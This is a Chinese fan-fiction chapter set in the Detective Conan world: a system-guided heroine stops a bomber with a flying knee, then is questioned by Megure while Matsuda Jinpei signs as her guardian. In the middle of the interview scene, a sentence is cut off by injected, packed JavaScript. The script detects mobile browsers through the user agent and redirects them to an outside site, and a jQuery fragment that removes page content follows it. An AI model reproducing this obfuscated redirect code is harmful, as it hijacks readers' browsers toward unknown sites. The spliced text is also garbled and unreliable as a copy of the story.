周日,迷迷糊糊睁开眼,摸过床头的闹钟一看,九点零一分,昨晚赶那本该死的翻译小说,熬到凌晨三点多才睡死过去,揉了揉酸涩的眼睛,我挣扎着爬起来。
今天计划去泰拳馆活动筋骨,冲散连日伏案工作的僵硬感,我换上一套轻便的粉色运动服,里面搭了件吸汗的白色运动背心,把浓密的长卷发随意扎了个高马尾,露出光洁的额头,刚洗漱完,脸上还带着水汽,搁在洗手台边的手机就“嗡”地震动了一下。
我随手拿起,打开翻盖手机,映入眼帘的是松田阵平那张帅得有点过分的脸,照片是昨天在水族馆我给他拍的,他难得没戴墨镜,幽蓝的水光映着他深邃的眼睛,勾起的唇角笑得格外不羁的帅气,这张照片,理所当然地成了我的手机壁纸。
邮件来自【松田警官】。
内容很简单,却像一颗小石子投入平静的湖面:
【今天加班,和萩出任务】
加班?出任务?
我的心猛地一沉,他是爆×炸物处理班的!这两个词组合在一起,瞬间让残留的睡意烟消云散,只剩下冰冷的担忧,我几乎是冲到客厅,一把抓起遥控器打开了电视。
“……紧急插播新闻!今日上午,神谷町以及浅井别墅广场分别发现疑似□□!警方已紧急疏散人群,封锁现场。据匿名恐吓信称,歹徒要求警视厅支付十亿赎金,否则将引爆炸弹!目前炸弹仍在倒计时中,拆弹专家已抵达现场……”
电视屏幕上,是混乱的现场直播画面,刺耳的警笛声,拉起的黄色警戒线,惊慌的人群。
我的心跳瞬间飙到了嗓子眼,几乎要窒息,松田和萩原警官他们就在那样的地方!
就在这时,一个冰冷、毫无感情的带着金属质感的声音毫无征兆地在我脑海中炸响:
【警告:检测到关键剧情节点。目标人物:萩原研二,死亡倒计时:54分37秒。】
什么?!
我浑身一僵,血液仿佛瞬间冻结!系统?!它……它在说什么?萩原警官……死亡倒计时?!
【系统?系统!怎么回事?!】我在脑中疯狂呐喊。
【目标人物萩原研二及其带领的机动队小队,将在54分22秒后,于浅井别墅广场炸弹拆除过程中,因犯人遥控引爆而全员殉职。】系统的声音毫无波澜,却字字如冰锥,刺穿我的心脏。
“不可能!”我失声叫了出来,巨大的恐惧攥紧了我。萩原警官会死?那个总是带着阳光笑容,像大哥哥一样照顾人的萩原警官?还有他的队员们?那松田……松田警官知道了会怎样?!
【如何阻止?!告诉我!】我几乎是嘶吼着在脑中发问。
【唯一阻止方式:宿主本人于倒计时结束前,亲手制服主犯,犯人位置已锁定,导航开启。】
下一秒,一个清晰的、只有我能看见的绿色箭头凭空出现在我视线前方,直指门外!同时,系统那冰冷的导航音开始播报:【前方直行800米,左转……】
没有时间犹豫了!
我飞快的换上鞋子像离弦之箭一样冲出了家门!强化过的身体爆发出惊人的力量和速度,风声在耳边呼啸,我无视路人惊愕的目光,脑中只有一个念头:快!再快一点!必须赶上!
系统冰冷的导航音和绿色箭头是我唯一的指引,我掠过街道,穿过公园,拼尽全力狂奔,接近十公里的距离,在极限的奔跑下被快速缩短,心脏在胸腔里狂跳,肺部火辣辣地疼,汗水浸湿了运动背心,贴在身上。
就在导航提示【目标接近】时,我看到前方路口一片混乱!一辆车撞倒了一个人,那人倒在血泊中,周围是惊慌的尖叫和刺耳的刹车声。而系统冰冷的倒计时声音在我脑中无情地报数:【……10……9……8……】
不!不是这里!系统最后的箭头指向的是旁边一条阴暗的小巷!
我猛地刹住脚步,视线锐利地扫向巷口。一个穿着灰色夹克、戴着鸭舌帽的男人正鬼鬼祟祟地探出头,手里紧紧攥着一个类似遥控器的黑色装置!他脸上带着一种扭曲的、即将得逞的兴奋!
就是他!
【……6……5……】
倒计时归零的滴答声仿佛在脑中敲响丧钟!肾上腺素瞬间飙升到顶点,恐惧被巨大的愤怒和决心取代!
“给我停下——!!!”
我用尽全身力气嘶吼出声,身体如同捕食的猎豹般启动!没有丝毫犹豫,借着冲刺的惯性,原地腾空跃起!右膝如同攻城锤,带着撕裂空气的破风声,精准无比地狠狠地撞向那个男人毫无防备的下颚!
泰拳·飞膝。
“咔嚓!!!”
令人牙酸的清晰无比的骨骼碎裂声在寂静的小巷口响起,盖过了远处的喧嚣!
那男人脸上的狞笑甚至还没来得及转换成错愕,整个人就像被高速行驶的卡车撞上,猛地向后倒飞出去,重重砸在巷子的墙壁上,然后软软地瘫倒在地,瞬间失去了意识,鲜血从他变形的鼻腔和嘴巴处汩汩涌出。
而他手中的黑色□□,脱手飞出!
我在落地的瞬间一个翻滚卸力,不顾一切地扑过去,一把抓住了那个冰冷的、差点夺走萩原警官和无数人性命的装置!
【按绿色按钮!快!】系统的声音带着前所未有的急迫。
我的手指因为紧张和脱力而颤抖,但还是狠狠地按下了那个唯一的绿色按钮!
就在我按下的瞬间,浮在半空中的倒计时鲜红的数字稳稳地停在了【00:00:01】。
几乎同时,浅井别墅广场高楼上的炸弹倒计时,也诡异地、无声无息地停在了最后的一秒!
警笛声由远及近,大批警察终于赶到,将小巷口团团围住,我瘫坐在地上,剧烈地喘息着,汗水顺着额发滴落,心脏还在疯狂跳动,我指着地上昏迷不醒的男人,声音嘶哑地对冲进来的警察说:“他……他就是安装炸弹的犯人。”
救护车带走了昏迷的犯人,而我则被带到了警视厅搜查一课做笔录。
明亮的询问室里,一位身穿橘黄色衣服戴橘黄帽子身材胖胖的中年警官态度非常温和。
“小林小姐,非常感谢你今天的英勇行为,阻止了一场大灾难。能详细说说,你是怎么发现那个犯人的吗?当时你怎么会在那附近?”
我穿着那身沾了灰尘的粉色运动服和白色背心,正好作为佐证,我努力平复呼吸,按照来警视厅路上想好的说辞回答:“我早上在家看了新闻直播,知道有炸弹案,心里很担心……就想着出来跑步散散心,顺便锻炼一下,结果跑着跑着,就跑到那附近了,然后我看到一个人鬼鬼祟祟地躲在小巷子里,探头探脑的,手里好像还拿着什么东西,我想到新闻里说的炸弹犯,就觉得他很可疑,非常可疑!我练过一点泰拳,当时情况太紧急了,我怕他跑了或者要按遥控器,就冲上去了……” 我尽量表现出一种路见不平一时冲动的样子。
警官点点头,眼中带着赞许:“原来如此。小林小姐真是敏锐又勇敢!对了,出了这么大的事,需要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234760|181826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通知你的监护人过来签个字,你的父母……”
我垂下眼睑,声音低了下去:“我父母……现在在另外一个世界。”
警官脸上的笑容瞬间僵住,随即被浓浓的愧疚取代,他有些慌乱地搓着手:“啊……这……抱、抱歉!小林小姐,我……” 他显然为自己的失言懊恼不已。
“没关系。”我摇摇头,表示理解,但笔录流程还是要走。
“那……还有其他监护人吗?比如亲戚,或者……”警官为难地问。
我想了想,导师带着师母去京都旅游了肯定不行,“那个……我男朋友可以吗?他是警察,也在警视厅工作。” 我试探着问。
“男朋友?警察?当然可以!请问他叫什么名字?哪个部门的?”警官眼睛一亮。
“松田阵平,是机动队爆×炸物处理班的。”
警官立刻拿起电话,没过多久,询问室的门被“砰”地一声大力推开!
松田阵平几乎是冲了进来,他穿着那身标志性的深蓝色制服,脸上还带着汗水和灰尘,墨镜后的目光锐利如鹰,第一时间锁定在我身上,他几步跨到我面前,双手抓住我的肩膀,上下仔细打量,声音带着一丝不易察觉的紧绷和沙哑:“千奈!你怎么样?有没有受伤?!伤到哪里了?让我看看!” 他的手指带着薄茧,隔着薄薄的运动服布料,我能感受到他掌心传来的微颤和滚烫的温度。
“我没事,松田警官,真的!一点伤都没有!” 我赶紧摇头,举起双手给他看,“有事的是那个犯人。”
旁边负责笔录的目暮十三适时插话,带着点后怕和感慨:“松田老弟,你女朋友真是太厉害了!她一个飞膝,那犯人的下颚骨粉碎性骨折,面部多处骨折,牙齿碎了一地,现在还在手术室昏迷着呢!医生说至少得躺几个月。” 他顿了顿,语气复杂,“不过,也多亏了她路过,不然……” 他没说下去,但意思不言而喻,目光扫过松田阵平身上沾着灰尘的制服。
松田阵平听完,猛地吸了一口气,脸色沉了下来。他松开我,但目光依旧紧紧锁住我,带着后怕和严厉:“小林千奈!” 他连名带姓地叫我,语气是前所未有的严肃,“你看到犯人,就直接冲上去了?!你知不知道那有多危险?!万一他有刀有枪呢?!万一他反应过来了呢?!你受伤了怎么办?!” 他的声音越说越高,带着压抑的怒火和浓浓的担忧。
看着他严厉的眼神,我有点心虚,但更多的是被他如此在乎的暖意,我低下头,手指无意识地绞着衣角,声音带着点委屈和撒娇的意味:“我……我当时太急了嘛……就想着不能让他按下去,而且我这不是没事嘛……下次,下次我一定注意,先报警好不好?” 我偷偷抬眼看他,眨了眨眼睛。
松田阵平被我这一眼看得喉结滚动了一下,严厉的表情像是被戳破的气球,瞬间软化了不少,耳根子也悄悄红了,他别开脸,低声又无奈地“啧”了一声,最终还是伸手,用力揉了揉我的头发,动作带着点泄愤似的粗鲁,却又无比温柔:“……笨蛋,下次绝对不许这样了!听到没?”
“嗯嗯!听到了!” 我用力点头,像只乖乖的小猫。
他这才稍稍放下心,去看笔录文件,当他翻到亲属信息栏,看到“父母:已故”那行的冰冷字迹时,他的手指停顿了一下。墨镜遮住了他的眼神,但我能感觉到他周身的气息似乎沉凝了一瞬,带着一种无声的震动和更深沉的情绪,松田阵平沉默地在监护人签字栏签下了自己的名字,笔迹比平时更重一些。